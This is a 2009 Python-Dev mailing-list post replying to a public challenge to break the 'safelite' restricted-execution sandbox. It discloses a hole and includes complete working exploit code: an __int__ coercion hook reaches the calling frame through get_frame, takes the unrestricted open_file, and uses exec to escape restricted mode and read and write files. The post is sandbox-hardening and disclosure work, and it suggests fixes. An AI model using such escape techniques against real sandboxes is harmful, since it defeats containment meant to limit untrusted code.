[Python-Dev] Challenge: Please break this! [Now with blog post]

Andrew Dalke dalke at dalkescientific.com
Tue Feb 24 12:46:56 CET 2009


Another hole. Not as devious as some, but easy to fix with yet another
type check. And probably you want to get rid of "get_frame" from
safelite.

This trick notices 'buffering' is passed to open, which does an int
coerce of non-int objects. I can look up the stack frames and get
"open_file", which I can then use for whatever I want.

In this case, I used the hole to reimplement 'open' in its entirety.

import safelite

class GetAccess(object):
    def __init__(self, filename, mode, buffering):
        self.filename = filename
        self.mode = mode
        self.buffering = buffering
        self.f = None

    def __int__(self):
        # Get access to the calling frame.
        # (Strange that that function is available.)
        frame = safelite.get_frame(1)

        # Look at that nice function right there.
        open_file = frame.f_locals["open_file"]

        # Get around restricted mode
        locals_d = {}
        exec """
def breakout(open_file, filename, mode, buffering):
    return open_file(filename, mode, buffering)
""" in frame.f_globals, locals_d
        del frame

        # Call the function
        self.f = locals_d["breakout"](open_file, self.filename,
self.mode, self.buffering)

        # Jump outta here
        raise TypeError

def open(filename, mode="r", buffering=0):
    get_access = GetAccess(filename, mode, buffering)
    try:
        safelite.FileReader("whatever", "r", get_access)
    except TypeError:
        return get_access.f

f = open("busted.txt", "w")
f.write("Broke out of jail!\n")
f.close()

print "Message is:", repr(open("busted.txt").read())


                                Andrew Dalke
                                dalke at dalkescientific.com


More information about the Python-Dev mailing list